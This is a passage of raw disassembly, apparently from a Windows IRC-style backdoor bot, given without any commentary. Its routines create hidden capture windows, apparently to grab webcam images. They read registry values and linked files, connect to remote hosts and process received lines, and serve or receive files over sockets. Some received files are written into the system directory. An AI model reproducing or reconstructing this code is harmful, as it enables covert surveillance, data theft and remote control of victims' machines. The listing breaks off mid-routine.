ptr -4 arg_0 = dword ptr 8 Size = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 34h push ebx push esi push edi push 1 pop esi xor ebx, ebx push esi push dword_4EBE94 push 78h push 0A0h push ebx push ebx push 40000000h push offset aWindow ; "Window" call dword_4E4170 mov edi, eax cmp edi, ebx mov [ebp+var_4], edi jnz short loc_4161CF mov eax, esi jmp loc_416385 ; --------------------------------------------------------------------------- loc_4161CF: ; CODE XREF: sub_416191+35j push edi call dword_4E41C0 ; IsWindow test eax, eax jz short loc_4161EC push ebx push [ebp+Size] push 40Ah push edi call dword_4E427C ; SendMessageA jmp short loc_4161EE ; --------------------------------------------------------------------------- loc_4161EC: ; CODE XREF: sub_416191+47j xor eax, eax loc_4161EE: ; CODE XREF: sub_416191+59j cmp eax, ebx jnz short loc_4161F9 loc_4161F2: ; CODE XREF: sub_416191+88j ; sub_416191+BCj mov ebx, esi jmp loc_41637A ; --------------------------------------------------------------------------- loc_4161F9: ; CODE XREF: sub_416191+5Fj push edi call dword_4E41C0 ; IsWindow test eax, eax jz short loc_416216 lea eax, [ebp+var_34] push eax push 2Ch push 40Eh push edi call dword_4E427C ; SendMessageA loc_416216: ; CODE XREF: sub_416191+71j cmp [ebp+var_20], ebx jz short loc_4161F2 push edi call dword_4E41C0 ; IsWindow test eax, eax mov edi, 42Ch jz short loc_41623C push ebx push ebx push edi push [ebp+var_4] call dword_4E427C ; SendMessageA mov [ebp+Size], eax jmp short loc_41623F ; --------------------------------------------------------------------------- loc_41623C: ; CODE XREF: sub_416191+98j mov [ebp+Size], ebx loc_41623F: ; CODE XREF: sub_416191+A9j push [ebp+Size] ; Size call _malloc cmp eax, ebx pop ecx mov [ebp+Memory], eax jz short loc_4161F2 push [ebp+Size] ; Size call _malloc mov esi, eax pop ecx cmp esi, ebx jnz short loc_416266 push 1 pop ebx jmp loc_41637A ; --------------------------------------------------------------------------- loc_416266: ; CODE XREF: sub_416191+CBj push [ebp+var_4] call dword_4E41C0 ; IsWindow test eax, eax jz short loc_416283 push [ebp+Memory] push [ebp+Size] push edi push [ebp+var_4] call dword_4E427C ; SendMessageA loc_416283: ; CODE XREF: sub_416191+E0j push [ebp+Size] ; Size push [ebp+Memory] ; Src push esi ; Dst call _memcpy mov ecx, [ebp+arg_8] add esp, 0Ch cmp ecx, ebx jg short loc_41629E mov ecx, 280h loc_41629E: ; CODE XREF: sub_416191+106j mov eax, [ebp+arg_C] cmp eax, ebx jg short loc_4162AA mov eax, 1E0h loc_4162AA: ; CODE XREF: sub_416191+112j push [ebp+var_4] mov [esi+4], ecx mov [esi+8], eax mov word ptr [esi+0Eh], 10h mov [esi+14h], ebx mov [esi+10h], ebx mov [esi+20h], ebx mov [esi+24h], ebx mov word ptr [esi+0Ch], 1 mov [esi+28h], bl mov [esi+29h], bl mov [esi+2Ah], bl mov [esi+2Bh], bl call dword_4E41C0 ; IsWindow test eax, eax mov edi, 42Dh jz short loc_4162F4 push esi push [ebp+Size] push edi push [ebp+var_4] call dword_4E427C ; SendMessageA loc_4162F4: ; CODE XREF: sub_416191+153j push [ebp+var_4] call dword_4E41C0 ; IsWindow test eax, eax jz short loc_416311 push ebx push ebx push 43Dh push [ebp+var_4] call dword_4E427C ; SendMessageA loc_416311: ; CODE XREF: sub_416191+16Ej push [ebp+var_4] call dword_4E41C0 ; IsWindow test eax, eax jz short loc_416330 push [ebp+arg_0] push ebx push 419h push [ebp+var_4] call dword_4E427C ; SendMessageA loc_416330: ; CODE XREF: sub_416191+18Bj push [ebp+var_4] call dword_4E41C0 ; IsWindow test eax, eax jz short loc_41634D push [ebp+Memory] push [ebp+Size] push edi push [ebp+var_4] call dword_4E427C ; SendMessageA loc_41634D: ; CODE XREF: sub_416191+1AAj push [ebp+Memory] ; Memory call _free push esi ; Memory call _free pop ecx pop ecx push [ebp+var_4] call dword_4E41C0 ; IsWindow test eax, eax jz short loc_41637A push ebx push ebx push 40Bh push [ebp+var_4] call dword_4E427C ; SendMessageA loc_41637A: ; CODE XREF: sub_416191+63j ; sub_416191+D0j ... push [ebp+var_4] call dword_4E42D0 ; DestroyWindow mov eax, ebx loc_416385: ; CODE XREF: sub_416191+39j pop edi pop esi pop ebx leave retn sub_416191 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_41638A(int,size_t Size,int,int,int) sub_41638A proc near ; CODE XREF: sub_401CC7+7691p var_90 = byte ptr -90h var_7C = dword ptr -7Ch var_64 = dword ptr -64h var_60 = dword ptr -60h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch Memory = dword ptr -4 arg_0 = dword ptr 8 Size = dword ptr 0Ch arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 90h push ebx push esi push edi push 1 pop esi xor ebx, ebx push esi push dword_4EBE94 push 78h push 0A0h push ebx push ebx push 40000000h push offset aWindow_0 ; "Window" call dword_4E4170 mov edi, eax cmp edi, ebx jnz short loc_4163C8 mov eax, esi jmp loc_4165C4 ; --------------------------------------------------------------------------- loc_4163C8: ; CODE XREF: sub_41638A+35j push edi call dword_4E41C0 ; IsWindow test eax, eax jz short loc_4163E5 push ebx push [ebp+Size] push 40Ah push edi call dword_4E427C ; SendMessageA jmp short loc_4163E7 ; --------------------------------------------------------------------------- loc_4163E5: ; CODE XREF: sub_41638A+47j xor eax, eax loc_4163E7: ; CODE XREF: sub_41638A+59j cmp eax, ebx jnz short loc_4163F2 loc_4163EB: ; CODE XREF: sub_41638A+8Bj ; sub_41638A+BCj mov ebx, esi jmp loc_4165BB ; --------------------------------------------------------------------------- loc_4163F2: ; CODE XREF: sub_41638A+5Fj push edi call dword_4E41C0 ; IsWindow test eax, eax jz short loc_416412 lea eax, [ebp+var_90] push eax push 2Ch push 40Eh push edi call dword_4E427C ; SendMessageA loc_416412: ; CODE XREF: sub_41638A+71j cmp [ebp+var_7C], ebx jz short loc_4163EB push edi call dword_4E41C0 ; IsWindow test eax, eax jz short loc_416435 push ebx push ebx push 42Ch push edi call dword_4E427C ; SendMessageA mov [ebp+Size], eax jmp short loc_416438 ; --------------------------------------------------------------------------- loc_416435: ; CODE XREF: sub_41638A+96j mov [ebp+Size], ebx loc_416438: ; CODE XREF: sub_41638A+A9j push [ebp+Size] ; Size call _malloc cmp eax, ebx pop ecx mov [ebp+Memory], eax jz short loc_4163EB push [ebp+Size] ; Size call _malloc mov esi, eax pop ecx cmp esi, ebx jnz short loc_41645F push 1 pop ebx jmp loc_4165BB ; --------------------------------------------------------------------------- loc_41645F: ; CODE XREF: sub_41638A+CBj push edi call dword_4E41C0 ; IsWindow test eax, eax jz short loc_41647C push [ebp+Memory] push [ebp+Size] push 42Ch push edi call dword_4E427C ; SendMessageA loc_41647C: ; CODE XREF: sub_41638A+DEj push [ebp+Size] ; Size push [ebp+Memory] ; Src push esi ; Dst call _memcpy mov ecx, [ebp+arg_C] add esp, 0Ch cmp ecx, ebx jg short loc_416497 mov ecx, 0A0h loc_416497: ; CODE XREF: sub_41638A+106j mov eax, [ebp+arg_10] cmp eax, ebx jg short loc_4164A1 push 78h pop eax loc_4164A1: ; CODE XREF: sub_41638A+112j push edi mov [esi+4], ecx mov [esi+8], eax mov word ptr [esi+0Eh], 10h mov [esi+14h], ebx mov [esi+10h], ebx mov [esi+20h], ebx mov [esi+24h], ebx mov word ptr [esi+0Ch], 1 mov [esi+28h], bl mov [esi+29h], bl mov [esi+2Ah], bl mov [esi+2Bh], bl call dword_4E41C0 ; IsWindow test eax, eax jz short loc_4164E6 push esi push [ebp+Size] push 42Dh push edi call dword_4E427C ; SendMessageA loc_4164E6: ; CODE XREF: sub_41638A+14Aj push edi call dword_4E41C0 ; IsWindow test eax, eax jz short loc_416503 lea eax, [ebp+var_64] push eax push 60h push 441h push edi call dword_4E427C ; SendMessageA loc_416503: ; CODE XREF: sub_41638A+165j push edi mov [ebp+var_60], ebx mov [ebp+var_3C], ebx mov [ebp+var_38], ebx mov [ebp+var_34], ebx mov [ebp+var_30], 1 mov [ebp+var_2C], 5 mov [ebp+var_64], 1046Ah call dword_4E41C0 ; IsWindow test eax, eax jz short loc_416541 lea eax, [ebp+var_64] push eax push 60h push 440h push edi call dword_4E427C ; SendMessageA loc_416541: ; CODE XREF: sub_41638A+1A3j push edi call dword_4E41C0 ; IsWindow test eax, eax jz short loc_41655C push [ebp+arg_0] push ebx push 414h push edi call dword_4E427C ; SendMessageA loc_41655C: ; CODE XREF: sub_41638A+1C0j push edi call dword_4E41C0 ; IsWindow test eax, eax jz short loc_416575 push ebx push ebx push 43Eh push edi call dword_4E427C ; SendMessageA loc_416575: ; CODE XREF: sub_41638A+1DBj push edi call dword_4E41C0 ; IsWindow test eax, eax jz short loc_416592 push [ebp+Memory] push [ebp+Size] push 42Dh push edi call dword_4E427C ; SendMessageA loc_416592: ; CODE XREF: sub_41638A+1F4j push [ebp+Memory] ; Memory call _free push esi ; Memory call _free pop ecx pop ecx push edi call dword_4E41C0 ; IsWindow test eax, eax jz short loc_4165BB push ebx push ebx push 40Bh push edi call dword_4E427C ; SendMessageA loc_4165BB: ; CODE XREF: sub_41638A+63j ; sub_41638A+D0j ... push edi call dword_4E42D0 ; DestroyWindow mov eax, ebx loc_4165C4: ; CODE XREF: sub_41638A+39j pop edi pop esi pop ebx leave retn sub_41638A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4165C9 proc near ; CODE XREF: sub_401CC7+25E6p Dest = byte ptr -3F0h var_2EC = dword ptr -2ECh var_EC = byte ptr -0ECh Str = byte ptr -6Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 3F0h push edi xor edi, edi cmp off_44E354, edi mov [ebp+var_8], 80h jz loc_41676E push ebx push esi mov eax, offset off_44E354 mov esi, offset dword_44E360 loc_4165F4: ; CODE XREF: sub_4165C9+19Dj lea ecx, [ebp+var_4] push ecx push 20019h push edi push dword ptr [eax] push dword ptr [esi-10h] call dword_4E4290 ; RegOpenKeyExA lea eax, [ebp+var_8] push eax lea eax, [ebp+var_EC] push eax push edi push edi push dword ptr [esi-8] push [ebp+var_4] call dword_4E4120 ; RegQueryValueExA test eax, eax jnz loc_416754 mov eax, [esi] cmp eax, edi jz loc_416714 push eax lea eax, [ebp+var_EC] push eax lea eax, [ebp+Dest] push offset aSS_7 ; "%s\\%s" push eax ; Dest call _sprintf lea eax, [ebp+Dest] push offset aR_1 ; "r" push eax ; Filename call _fopen mov ebx, eax add esp, 18h cmp ebx, edi jz loc_416754 loc_41666B: ; CODE XREF: sub_4165C9+C9j push ebx lea eax, [ebp+Str] push 64h push eax call sub_41FDD0 add esp, 0Ch test eax, eax jz loc_41670B push dword ptr [esi+4] ; SubStr lea eax, [ebp+Str] push eax ; Str call _strstr pop ecx test eax, eax pop ecx jnz short loc_41666B push 3Dh ; Val push dword ptr [esi+4] ; Str call _strchr pop ecx test eax, eax pop ecx jz short loc_4166CB lea eax, [ebp+Str] push offset asc_44F628 ; "=" push eax ; Str call _strtok push offset asc_44F62C ; "=" push edi ; Str call _strtok add esp, 10h push eax push dword ptr [esi-4] push offset dword_44F630 jmp short loc_4166D7 ; --------------------------------------------------------------------------- loc_4166CB: ; CODE XREF: sub_4165C9+D9j lea eax, [ebp+Str] push eax push dword ptr [esi-4] push offset asc_44F648 ; "-" loc_4166D7: ; CODE XREF: sub_4165C9+100j lea eax, [ebp+var_2EC] push eax ; Dest call _sprintf add esp, 10h lea eax, [ebp+var_2EC] push edi ; int push [ebp+arg_8] ; int push eax ; int push [ebp+arg_4] ; Str push [ebp+arg_0] ; int call sub_409D6C lea eax, [ebp+var_2EC] push eax call sub_415C77 add esp, 18h loc_41670B: ; CODE XREF: sub_4165C9+B3j push ebx ; File call _fclose pop ecx jmp short loc_416754 ; --------------------------------------------------------------------------- loc_416714: ; CODE XREF: sub_4165C9+65j lea eax, [ebp+var_EC] push eax lea eax, [ebp+var_2EC] push dword ptr [esi-4] push offset asc_44F660 ; "-" push eax ; Dest call _sprintf push edi ; int lea eax, [ebp+var_2EC] push [ebp+arg_8] ; int push eax ; int push [ebp+arg_4] ; Str push [ebp+arg_0] ; int call sub_409D6C lea eax, [ebp+var_2EC] push eax call sub_415C77 add esp, 28h loc_416754: ; CODE XREF: sub_4165C9+5Bj ; sub_4165C9+9Cj ... push [ebp+var_4] call dword_4E41FC ; RegCloseKey add esi, 18h cmp [esi-0Ch], edi lea eax, [esi-0Ch] jnz loc_4165F4 pop esi pop ebx loc_41676E: ; CODE XREF: sub_4165C9+19j pop edi leave retn sub_4165C9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416771 proc near ; CODE XREF: sub_4167F7+33p ; sub_416D5D+BCp Dst = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h push esi push edi push 0 push 1 push 2 call dword_4E42A0 ; socket mov edi, eax or esi, 0FFFFFFFFh cmp edi, esi jz short loc_4167ED push 10h ; Size lea eax, [ebp+Dst] push 0 ; Val push eax ; Dst call _memset add esp, 0Ch mov [ebp+Dst], 2 push [ebp+arg_4] call dword_4E4220 ; htons push [ebp+arg_0] mov [ebp+var_E], ax call dword_4E4260 ; inet_addr cmp eax, esi jnz short loc_4167D2 push [ebp+arg_0] call dword_4E42A4 ; gethostbyname test eax, eax jz short loc_4167ED mov eax, [eax+0Ch] mov eax, [eax] mov eax, [eax] loc_4167D2: ; CODE XREF: sub_416771+4Bj mov [ebp+var_C], eax lea eax, [ebp+Dst] push 10h push eax push edi call dword_4E41C8 ; connect cmp eax, esi jnz short loc_4167F1 push edi call dword_4E42B8 ; closesocket loc_4167ED: ; CODE XREF: sub_416771+1Bj ; sub_416771+58j mov eax, esi jmp short loc_4167F3 ; --------------------------------------------------------------------------- loc_4167F1: ; CODE XREF: sub_416771+73j mov eax, edi loc_4167F3: ; CODE XREF: sub_416771+7Ej pop edi pop esi leave retn sub_416771 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4167F7 proc near ; DATA XREF: sub_401CC7+9EAo Dst = byte ptr -11B4h var_1B4 = byte ptr -1B4h var_1AC = byte ptr -1ACh Str = byte ptr -94h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 11B4h call __alloca_probe mov eax, [ebp+arg_0] push ebx push esi push edi push 6Dh mov esi, eax pop ecx lea edi, [ebp+var_1B4] rep movsd push 1 pop esi push [ebp+var_14] mov [eax+1B0h], esi lea eax, [ebp+var_1AC] push eax call sub_416771 mov ebx, eax pop ecx cmp ebx, 0FFFFFFFFh pop ecx jnz short loc_41688A lea eax, [ebp+Dst] push offset asc_44F678 ; "-" push eax ; Dest call _sprintf xor edi, edi pop ecx cmp [ebp+var_8], edi pop ecx jnz short loc_41686D push edi ; int lea eax, [ebp+Dst] push [ebp+var_C] ; int push eax ; int lea eax, [ebp+Str] push eax ; Str push ebx ; int call sub_409D6C add esp, 14h loc_41686D: ; CODE XREF: sub_4167F7+59j lea eax, [ebp+Dst] push eax call sub_415C77 push [ebp+var_10] call sub_40BAAA pop ecx pop ecx push esi call ds:dword_4F63D4 ; ExitThread loc_41688A: ; CODE XREF: sub_4167F7+3Fj push offset dword_4EBEF8 push ebx call sub_41AB7D pop ecx cmp eax, 0FFFFFFFFh pop ecx jnz short loc_4168F5 lea eax, [ebp+Dst] push offset asc_44F69C ; "-" push eax ; Dest call _sprintf xor edi, edi pop ecx cmp [ebp+var_8], edi pop ecx jnz short loc_4168D1 push edi ; int lea eax, [ebp+Dst] push [ebp+var_C] ; int push eax ; int lea eax, [ebp+Str] push eax ; Str push ebx ; int call sub_409D6C add esp, 14h loc_4168D1: ; CODE XREF: sub_4167F7+BDj lea eax, [ebp+Dst] push eax call sub_415C77 pop ecx push ebx call dword_4E42B8 ; closesocket push [ebp+var_10] call sub_40BAAA pop ecx push esi call ds:dword_4F63D4 ; ExitThread loc_4168F5: ; CODE XREF: sub_4167F7+A3j push 64h call ds:dword_4F6380 ; Sleep xor edi, edi mov esi, 1000h loc_416904: ; CODE XREF: sub_4167F7+168j push esi ; Size lea eax, [ebp+Dst] push edi ; Val push eax ; Dst call _memset add esp, 0Ch lea eax, [ebp+Dst] push edi push esi push eax push ebx call dword_4E4238 ; recv test eax, eax jle short loc_416961 lea eax, [ebp+Dst] push offset asc_44F6CC ; "\n" push eax ; Dest call _strcat lea eax, [ebp+Dst] push eax ; Str call sub_41A969 add esp, 0Ch test eax, eax jz short loc_416961 push 64h call ds:dword_4F6380 ; Sleep push 0Ah call sub_40B9D6 test eax, eax pop ecx jnz short loc_416904 loc_416961: ; CODE XREF: sub_4167F7+130j ; sub_4167F7+154j lea eax, [ebp+Dst] push offset asc_44F6D0 ; "-" push eax ; Dest call _sprintf cmp [ebp+var_8], edi pop ecx pop ecx jnz short loc_416994 push edi ; int lea eax, [ebp+Dst] push [ebp+var_C] ; int push eax ; int lea eax, [ebp+Str] push eax ; Str push ebx ; int call sub_409D6C add esp, 14h loc_416994: ; CODE XREF: sub_4167F7+180j lea eax, [ebp+Dst] push eax call sub_415C77 pop ecx push ebx call dword_4E42B8 ; closesocket push [ebp+var_10] call sub_40BAAA pop ecx push edi call ds:dword_4F63D4 ; ExitThread sub_4167F7 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4169B8 proc near ; DATA XREF: sub_401CC7+7980o var_A04 = byte ptr -0A04h var_604 = byte ptr -604h var_500 = dword ptr -500h var_4FC = dword ptr -4FCh Dest = byte ptr -3FCh var_1FC = dword ptr -1FCh var_1F8 = dword ptr -1F8h Str = byte ptr -1E0h var_DC = byte ptr -0DCh var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_48 = byte ptr -48h var_44 = dword ptr -44h var_38 = dword ptr -38h var_34 = dword ptr -34h Dst = word ptr -30h var_2E = dword ptr -2Eh var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0A04h mov eax, [ebp+arg_0] push ebx push esi push edi push 6Dh mov esi, eax pop ecx lea edi, [ebp+var_1FC] rep movsd push 1 xor esi, esi pop ebx mov [ebp+var_10], esi push esi push ebx push 2 mov [eax+1B0h], ebx mov [ebp+var_C], esi mov [ebp+var_20], esi call dword_4E42A0 ; socket mov edi, eax cmp edi, 0FFFFFFFFh mov [ebp+var_18], edi jnz short loc_416A06 push offset unk_44F704 jmp loc_416BBF ; --------------------------------------------------------------------------- loc_416A06: ; CODE XREF: sub_4169B8+42j push 10h ; Size lea eax, [ebp+Dst] push esi ; Val push eax ; Dst call _memset add esp, 0Ch mov [ebp+Dst], 2 push esi call dword_4E4220 ; htons mov word ptr [ebp+var_2E], ax lea eax, [ebp+Dst] push 10h push eax push edi mov [ebp+var_2E+2], esi call dword_4E424C ; bind test eax, eax jz short loc_416A44 push offset unk_44F728 jmp loc_416BBF ; --------------------------------------------------------------------------- loc_416A44: ; CODE XREF: sub_4169B8+80j lea eax, [ebp+var_1C] mov [ebp+var_1C], 10h push eax lea eax, [ebp+Dst] push eax push edi call dword_4E41C4 ; getsockname push [ebp+var_2E] call dword_4E4150 ; htons mov [ebp+var_4], eax lea eax, [ebp+Str] push eax ; Str mov [ebp+arg_0], esi call _strlen pop ecx loc_416A76: ; CODE XREF: sub_4169B8+EFj mov ecx, [ebp+arg_0] mov al, [ebp+ecx+Str] cmp al, 20h jnz short loc_416A89 push 5Fh pop eax jmp short loc_416A8C ; --------------------------------------------------------------------------- loc_416A89: ; CODE XREF: sub_4169B8+CAj movsx eax, al loc_416A8C: ; CODE XREF: sub_4169B8+CFj mov [ebp+ecx+var_604], al lea eax, [ebp+Str] inc ecx push eax ; Str mov [ebp+arg_0], ecx call _strlen cmp [ebp+arg_0], eax pop ecx jbe short loc_416A76 push ebx push edi call dword_4E4248 ; listen test eax, eax jz short loc_416ABF push offset unk_44F74C jmp loc_416BBF ; --------------------------------------------------------------------------- loc_416ABF: ; CODE XREF: sub_4169B8+FBj push esi push esi push 3 push esi push ebx lea eax, [ebp+Str] push 80000000h push eax call ds:dword_4F63F4 ; CreateFileA cmp eax, 0FFFFFFFFh mov [ebp+var_8], eax jnz short loc_416AE9 push offset unk_44F770 jmp loc_416BBF ; --------------------------------------------------------------------------- loc_416AE9: ; CODE XREF: sub_4169B8+125j push esi push eax call ds:dword_4F6410 ; GetFileSize mov [ebp+arg_0], eax push eax movzx eax, word ptr [ebp+var_4] push eax push [ebp+var_1FC] call sub_40AFA9 pop ecx push eax call dword_4E4260 ; inet_addr push eax call dword_4E421C ; htonl push eax lea eax, [ebp+Str] push eax lea eax, [ebp+Dest] push offset dword_44F790 ; Format push eax ; Dest call _sprintf push esi ; int lea eax, [ebp+Dest] push esi ; int push eax ; int lea eax, [ebp+var_DC] push eax ; Str push [ebp+var_1FC] ; int call sub_409D6C add esp, 2Ch lea eax, [ebp+var_38] mov [ebp+var_38], 3Ch mov [ebp+var_34], esi push eax push esi lea eax, [ebp+var_500] push esi push eax push esi mov [ebp+var_4FC], edi mov [ebp+var_500], ebx call dword_4E4208 ; select test eax, eax jg short loc_416B99 push esi ; int lea eax, [ebp+var_DC] push [ebp+var_54] ; int push offset dword_44F7A8 ; int push eax ; Str push [ebp+var_1FC] ; int call sub_409D6C jmp loc_416CBD ; --------------------------------------------------------------------------- loc_416B99: ; CODE XREF: sub_4169B8+1BFj lea eax, [ebp+var_14] mov [ebp+var_14], 10h push eax lea eax, [ebp+var_48] push eax push edi call dword_4E42B4 ; accept cmp eax, 0FFFFFFFFh mov [ebp+var_1F8], eax jnz short loc_416BD2 push offset asc_44F7C0 ; "-" loc_416BBF: ; CODE XREF: sub_4169B8+49j ; sub_4169B8+87j ... lea eax, [ebp+Dest] push eax ; Dest call _sprintf pop ecx pop ecx jmp loc_416CC0 ; --------------------------------------------------------------------------- loc_416BD2: ; CODE XREF: sub_4169B8+200j push edi call dword_4E42B8 ; closesocket cmp [ebp+arg_0], esi jz loc_416C84 mov edi, 400h loc_416BE7: ; CODE XREF: sub_4169B8+2C3j mov eax, [ebp+arg_0] mov [ebp+var_4], edi cmp eax, edi jge short loc_416BF4 mov [ebp+var_4], eax loc_416BF4: ; CODE XREF: sub_4169B8+237j push edi ; Size lea eax, [ebp+var_A04] push esi ; Val push eax ; Dst call _memset mov eax, [ebp+arg_0] add esp, 0Ch neg eax push 2 push esi push eax push [ebp+var_8] call ds:dword_4F6428 ; SetFilePointer lea eax, [ebp+var_20] push esi push eax lea eax, [ebp+var_A04] push [ebp+var_4] push eax push [ebp+var_8] call ds:dword_4F63F0 ; ReadFile push esi lea eax, [ebp+var_A04] push [ebp+var_4] push eax push [ebp+var_1F8] call dword_4E4270 ; send mov [ebp+var_4], eax push esi cdq add [ebp+var_10], eax lea eax, [ebp+var_A04] push edi push eax push [ebp+var_1F8] adc [ebp+var_C], edx call dword_4E4238 ; recv cmp eax, ebx jl loc_416D19 mov eax, [ebp+var_4] cmp eax, ebx jl loc_416D19 sub [ebp+arg_0], eax jnz loc_416BE7 mov edi, [ebp+var_18] loc_416C84: ; CODE XREF: sub_4169B8+224j push [ebp+var_8] call ds:dword_4F6370 ; CloseHandle push [ebp+var_C] push [ebp+var_10] call sub_4174C3 pop ecx pop ecx push eax push [ebp+var_44] call dword_4E42AC ; inet_ntoa push eax lea eax, [ebp+Str] push eax lea eax, [ebp+Dest] push offset asc_44F814 ; "-" push eax ; Dest call _sprintf loc_416CBD: ; CODE XREF: sub_4169B8+1DCj add esp, 14h loc_416CC0: ; CODE XREF: sub_4169B8+215j cmp [ebp+var_50], esi jnz short loc_416CE5 push esi ; int lea eax, [ebp+Dest] push [ebp+var_54] ; int push eax ; int lea eax, [ebp+var_DC] push eax ; Str push [ebp+var_1FC] ; int call sub_409D6C add esp, 14h loc_416CE5: ; CODE XREF: sub_4169B8+30Bj lea eax, [ebp+Dest] push eax call sub_415C77 cmp edi, esi pop ecx jbe short loc_416CFD push edi call dword_4E42B8 ; closesocket loc_416CFD: ; CODE XREF: sub_4169B8+33Cj push [ebp+var_1F8] call dword_4E42B8 ; closesocket push [ebp+var_58] call sub_40BAAA pop ecx push esi call ds:dword_4F63D4 ; ExitThread loc_416D19: ; CODE XREF: sub_4169B8+2AFj ; sub_4169B8+2BAj push esi ; int lea eax, [ebp+var_DC] push [ebp+var_54] ; int push offset dword_44F7E4 ; int push eax ; Str push [ebp+var_1FC] ; int call sub_409D6C push offset dword_44F7FC call sub_415C77 add esp, 18h push [ebp+var_1F8] call dword_4E42B8 ; closesocket push [ebp+var_58] call sub_40BAAA pop ecx push ebx call ds:dword_4F63D4 ; ExitThread sub_4169B8 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416D5D proc near ; DATA XREF: sub_401CC7+789o Dst = byte ptr -14C4h Dest = byte ptr -4C4h Filename = byte ptr -2C4h var_1C0 = dword ptr -1C0h var_1B8 = byte ptr -1B8h var_1A4 = byte ptr -1A4h Str = byte ptr -0A0h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_C = dword ptr -0Ch var_8 = dword ptr -8 File = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 14C4h call __alloca_probe mov eax, [ebp+arg_0] push ebx push esi push edi push 6Dh mov esi, eax pop ecx lea edi, [ebp+var_1C0] rep movsd push 1 xor ebx, ebx pop esi mov [ebp+var_8], ebx mov [eax+1B0h], esi lea eax, [ebp+Filename] push 104h push eax call ds:dword_4F637C ; GetSystemDirectoryA lea eax, [ebp+var_1A4] push eax lea eax, [ebp+Filename] push eax lea eax, [ebp+Filename] push offset aSS_8 ; "%s%s" push eax ; Dest call _sprintf add esp, 10h lea eax, [ebp+Filename] push ebx push 80h push 2 push ebx push esi push 40000000h push eax call ds:dword_4F63F4 ; CreateFileA cmp eax, 0FFFFFFFFh jnz short loc_416DE7 push offset unk_44F848 jmp short loc_416E2D ; --------------------------------------------------------------------------- loc_416DE7: ; CODE XREF: sub_416D5D+81j push eax call ds:dword_4F6370 ; CloseHandle lea eax, [ebp+Filename] push offset aAB ; "a+b" push eax ; Filename call _fopen pop ecx cmp eax, ebx pop ecx mov [ebp+File], eax jnz short loc_416E0F push offset unk_44F87C jmp short loc_416E2D ; --------------------------------------------------------------------------- loc_416E0F: ; CODE XREF: sub_416D5D+A9j push [ebp+var_20] lea eax, [ebp+var_1B8] push eax call sub_416771 pop ecx cmp eax, 0FFFFFFFFh pop ecx mov [ebp+arg_0], eax jnz short loc_416E40 push offset asc_44F8A8 ; "-" loc_416E2D: ; CODE XREF: sub_416D5D+88j ; sub_416D5D+B0j lea eax, [ebp+Dest] push eax ; Dest call _sprintf pop ecx pop ecx jmp loc_416F3C ; --------------------------------------------------------------------------- loc_416E40: ; CODE XREF: sub_416D5D+C9j mov esi, 1000h loc_416E45: ; CODE XREF: sub_416D5D+14Ej push esi ; Size lea eax, [ebp+Dst] push ebx ; Val push eax ; Dst call _memset add esp, 0Ch lea eax, [ebp+Dst] push ebx push esi push eax push [ebp+arg_0] call dword_4E4238 ; recv mov edi, eax cmp edi, ebx jz loc_416F0C cmp edi, 0FFFFFFFFh jz short loc_416EAD push [ebp+File] ; File lea eax, [ebp+Dst] push edi ; Count push 1 ; Size push eax ; Str call sub_421FE0 add [ebp+var_8], edi add esp, 10h push [ebp+var_8] call dword_4E421C ; htonl mov [ebp+var_C], eax push ebx lea eax, [ebp+var_C] push 4 push eax push [ebp+arg_0] call dword_4E4270 ; send jmp short loc_416E45 ; --------------------------------------------------------------------------- loc_416EAD: ; CODE XREF: sub_416D5D+118j lea eax, [ebp+Dest] push offset asc_44F8C8 ; "-" push eax ; Dest call _sprintf push ebx ; int lea eax, [ebp+Dest] push [ebp+var_18] ; int push eax ; int lea eax, [ebp+Str] push eax ; Str push [ebp+var_1C0] ; int call sub_409D6C lea eax, [ebp+Dest] push eax call sub_415C77 push [ebp+File] ; File call _fclose add esp, 24h push [ebp+arg_0] call dword_4E42B8 ; closesocket push [ebp+var_1C] call sub_40BAAA pop ecx push 1 call ds:dword_4F63D4 ; ExitThread loc_416F0C: ; CODE XREF: sub_416D5D+10Fj mov eax, [ebp+var_8] cdq push edx push eax call sub_4174C3 pop ecx pop ecx push eax lea eax, [ebp+var_1B8] push eax lea eax, [ebp+var_1A4] push eax lea eax, [ebp+Dest] push offset asc_44F8E0 ; "-" push eax ; Dest call _sprintf add esp, 14h loc_416F3C: ; CODE XREF: sub_416D5D+DEj cmp [ebp+var_14], ebx jnz short loc_416F61 push ebx ; int lea eax, [ebp+Dest] push [ebp+var_18] ; int push eax ; int lea eax, [ebp+Str] push eax ; Str push [ebp+var_1C0] ; int call sub_409D6C add esp, 14h loc_416F61: ; CODE XREF: sub_416D5D+1E2j lea eax, [ebp+Dest] push eax call sub_415C77 cmp [ebp+File], ebx pop ecx jz short loc_416F7C push [ebp+File] ; File call _fclose pop ecx loc_416F7C: ; CODE XREF: sub_416D5D+214j cmp [ebp+arg_0], ebx jbe short loc_416F8A push [ebp+arg_0] 